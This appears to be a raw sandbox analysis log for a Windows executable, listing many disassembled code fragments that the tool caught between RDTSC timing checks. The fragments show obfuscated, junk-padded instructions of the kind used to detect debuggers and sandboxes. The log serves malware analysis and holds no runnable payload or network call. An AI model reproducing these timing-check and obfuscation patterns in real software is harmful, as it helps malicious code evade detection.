Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050683 second address: 50506B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov bl, 29h 0x0000000c mov dx, si 0x0000000f popad 0x00000010 mov ebp, esp 0x00000012 jmp 00007FD908C4C6F0h 0x00000017 mov eax, dword ptr [ebp+08h] 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov ax, bx 0x00000020 mov ebx, 40A7DB1Ch 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50506B4 second address: 50506BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50506BA second address: 505071E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and dword ptr [eax], 00000000h 0x0000000e pushad 0x0000000f call 00007FD908C4C6EEh 0x00000014 pushfd 0x00000015 jmp 00007FD908C4C6F2h 0x0000001a and eax, 029E4298h 0x00000020 jmp 00007FD908C4C6EBh 0x00000025 popfd 0x00000026 pop esi 0x00000027 mov ecx, edi 0x00000029 popad 0x0000002a and dword ptr [eax+04h], 00000000h 0x0000002e jmp 00007FD908C4C6EBh 0x00000033 pop ebp 0x00000034 pushad 0x00000035 mov dh, ch 0x00000037 push eax 0x00000038 push edx 0x00000039 push edi 0x0000003a pop ecx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50306B3 second address: 50306E9 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 128BFCBFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FD9092ECB34h 0x0000000e popad 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 call 00007FD9092ECB2Dh 0x00000019 pop esi 0x0000001a mov bx, 1484h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50306E9 second address: 50306EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50306EF second address: 5030711 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD9092ECB37h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050431 second address: 5050435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050435 second address: 5050451 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050451 second address: 5050457 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050457 second address: 505045B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505045B second address: 5050475 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050475 second address: 5050479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050479 second address: 505047F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505047F second address: 5050485 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050485 second address: 505049D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov dl, DAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505049D second address: 50504F9 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD9092ECB38h 0x00000008 sub si, DE28h 0x0000000d jmp 00007FD9092ECB2Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov bl, al 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 jmp 00007FD9092ECB2Bh 0x0000001e mov ebp, esp 0x00000020 jmp 00007FD9092ECB36h 0x00000025 pop ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50504F9 second address: 50504FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50504FD second address: 5050503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50706F4 second address: 50706F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50706F8 second address: 50706FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50706FC second address: 5070702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070702 second address: 5070718 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD9092ECB32h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070718 second address: 5070748 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FD908C4C6F6h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070748 second address: 507074C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 507074C second address: 5070750 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070750 second address: 5070756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070756 second address: 5070765 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD908C4C6EBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070866 second address: 507086A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 507086A second address: 5070885 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070885 second address: 507088A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 507088A second address: 50708A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD908C4C6EAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070953 second address: 5070957 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070957 second address: 507095D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 507095D second address: 50709C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FD9092ECB30h 0x0000000f mov ebp, esp 0x00000011 jmp 00007FD9092ECB30h 0x00000016 pop ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov edi, 2A3F2150h 0x0000001f pushfd 0x00000020 jmp 00007FD9092ECB39h 0x00000025 add cl, FFFFFFD6h 0x00000028 jmp 00007FD9092ECB31h 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50709C9 second address: 50709CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50709CF second address: 50709D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502008D second address: 5020091 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020091 second address: 5020097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020097 second address: 50200CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD908C4C6EAh 0x00000008 pop esi 0x00000009 mov cl, dl 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ecx 0x0000000f pushad 0x00000010 call 00007FD908C4C6F8h 0x00000015 mov si, F281h 0x00000019 pop eax 0x0000001a push ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50200CC second address: 50200E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FD9092ECB2Bh 0x0000000f push eax 0x00000010 pop edx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50200E4 second address: 50200F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD908C4C6F0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50200F8 second address: 502016A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 pushad 0x0000000a mov dl, 12h 0x0000000c mov ax, 64C5h 0x00000010 popad 0x00000011 xchg eax, ebx 0x00000012 jmp 00007FD9092ECB30h 0x00000017 push eax 0x00000018 jmp 00007FD9092ECB2Bh 0x0000001d xchg eax, ebx 0x0000001e jmp 00007FD9092ECB36h 0x00000023 mov ebx, dword ptr [ebp+10h] 0x00000026 jmp 00007FD9092ECB30h 0x0000002b xchg eax, esi 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FD9092ECB37h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502016A second address: 5020170 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020170 second address: 5020174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020174 second address: 50201FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FD908C4C6EFh 0x00000013 jmp 00007FD908C4C6F3h 0x00000018 popfd 0x00000019 mov ch, C7h 0x0000001b popad 0x0000001c xchg eax, esi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FD908C4C6ECh 0x00000026 sub ah, 00000008h 0x00000029 jmp 00007FD908C4C6EBh 0x0000002e popfd 0x0000002f pushfd 0x00000030 jmp 00007FD908C4C6F8h 0x00000035 jmp 00007FD908C4C6F5h 0x0000003a popfd 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50201FE second address: 502020E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD9092ECB2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502020E second address: 5020212 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020212 second address: 5020249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c call 00007FD9092ECB2Dh 0x00000011 mov esi, 6A5B9D37h 0x00000016 pop eax 0x00000017 mov dx, 8510h 0x0000001b popad 0x0000001c push ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FD9092ECB2Eh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020249 second address: 502024D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502024D second address: 5020253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020253 second address: 502034E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], edi 0x0000000c jmp 00007FD908C4C6F0h 0x00000011 test esi, esi 0x00000013 pushad 0x00000014 mov eax, 66F3A9CDh 0x00000019 popad 0x0000001a je 00007FD97AFDAA7Ah 0x00000020 jmp 00007FD908C4C6F4h 0x00000025 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000002c jmp 00007FD908C4C6F0h 0x00000031 je 00007FD97AFDAA5Fh 0x00000037 jmp 00007FD908C4C6F0h 0x0000003c mov edx, dword ptr [esi+44h] 0x0000003f pushad 0x00000040 mov si, 6B8Dh 0x00000044 call 00007FD908C4C6EAh 0x00000049 pushad 0x0000004a popad 0x0000004b pop eax 0x0000004c popad 0x0000004d or edx, dword ptr [ebp+0Ch] 0x00000050 jmp 00007FD908C4C6F7h 0x00000055 test edx, 61000000h 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e pushfd 0x0000005f jmp 00007FD908C4C6EBh 0x00000064 xor esi, 6F88BD9Eh 0x0000006a jmp 00007FD908C4C6F9h 0x0000006f popfd 0x00000070 pushfd 0x00000071 jmp 00007FD908C4C6F0h 0x00000076 sbb ch, FFFFFF98h 0x00000079 jmp 00007FD908C4C6EBh 0x0000007e popfd 0x0000007f popad 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502034E second address: 5020353 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020353 second address: 5020381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, 36C8h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FD97AFDAA10h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FD908C4C6F9h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020381 second address: 5020387 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020387 second address: 502039C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, 6Ch 0x00000005 mov si, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test byte ptr [esi+48h], 00000001h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502039C second address: 50203A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50203A0 second address: 50203A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50203A6 second address: 502040B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 pushfd 0x00000006 jmp 00007FD9092ECB37h 0x0000000b xor eax, 6C15DFCEh 0x00000011 jmp 00007FD9092ECB39h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a jne 00007FD97B67ADE1h 0x00000020 pushad 0x00000021 mov eax, 5CC1B073h 0x00000026 mov esi, 227CE0CFh 0x0000002b popad 0x0000002c test bl, 00000007h 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FD9092ECB2Ch 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502040B second address: 502041A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010903 second address: 5010927 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010927 second address: 501092B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501092B second address: 5010931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010931 second address: 501098C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edi 0x00000005 pushfd 0x00000006 jmp 00007FD908C4C6ECh 0x0000000b adc si, DDA8h 0x00000010 jmp 00007FD908C4C6EBh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FD908C4C6EBh 0x00000024 xor eax, 634F3AEEh 0x0000002a jmp 00007FD908C4C6F9h 0x0000002f popfd 0x00000030 mov bx, ax 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501098C second address: 5010992 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010992 second address: 5010996 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010996 second address: 50109B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and esp, FFFFFFF8h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD9092ECB2Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50109B1 second address: 50109B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50109B7 second address: 50109BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50109BB second address: 50109BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50109BF second address: 5010A1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FD9092ECB34h 0x00000010 sbb cx, 6FF8h 0x00000015 jmp 00007FD9092ECB2Bh 0x0000001a popfd 0x0000001b pushad 0x0000001c movzx ecx, dx 0x0000001f jmp 00007FD9092ECB2Bh 0x00000024 popad 0x00000025 popad 0x00000026 mov dword ptr [esp], ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FD9092ECB35h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010A1A second address: 5010A2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD908C4C6ECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010A2A second address: 5010A63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007FD9092ECB36h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD9092ECB2Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010A63 second address: 5010A75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD908C4C6EEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010A75 second address: 5010A94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD9092ECB33h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010A94 second address: 5010AF1 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b jmp 00007FD908C4C6EEh 0x00000010 sub ebx, ebx 0x00000012 jmp 00007FD908C4C6F1h 0x00000017 test esi, esi 0x00000019 pushad 0x0000001a call 00007FD908C4C6ECh 0x0000001f mov edx, esi 0x00000021 pop esi 0x00000022 mov esi, edx 0x00000024 popad 0x00000025 je 00007FD97AFE1F9Fh 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FD908C4C6F4h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010AF1 second address: 5010B43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 pushfd 0x00000007 jmp 00007FD9092ECB2Ah 0x0000000c sbb ax, 82F8h 0x00000011 jmp 00007FD9092ECB2Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a cmp dword ptr [esi+08h], DDEEDDEEh 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007FD9092ECB2Bh 0x0000002a jmp 00007FD9092ECB33h 0x0000002f popfd 0x00000030 pushad 0x00000031 popad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010B43 second address: 5010B6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD908C4C6F5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010B6F second address: 5010B75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010B75 second address: 5010B79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010B79 second address: 5010BA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FD97B682348h 0x0000000e jmp 00007FD9092ECB2Fh 0x00000013 test byte ptr [77436968h], 00000002h 0x0000001a pushad 0x0000001b pushad 0x0000001c mov esi, 25846BE1h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
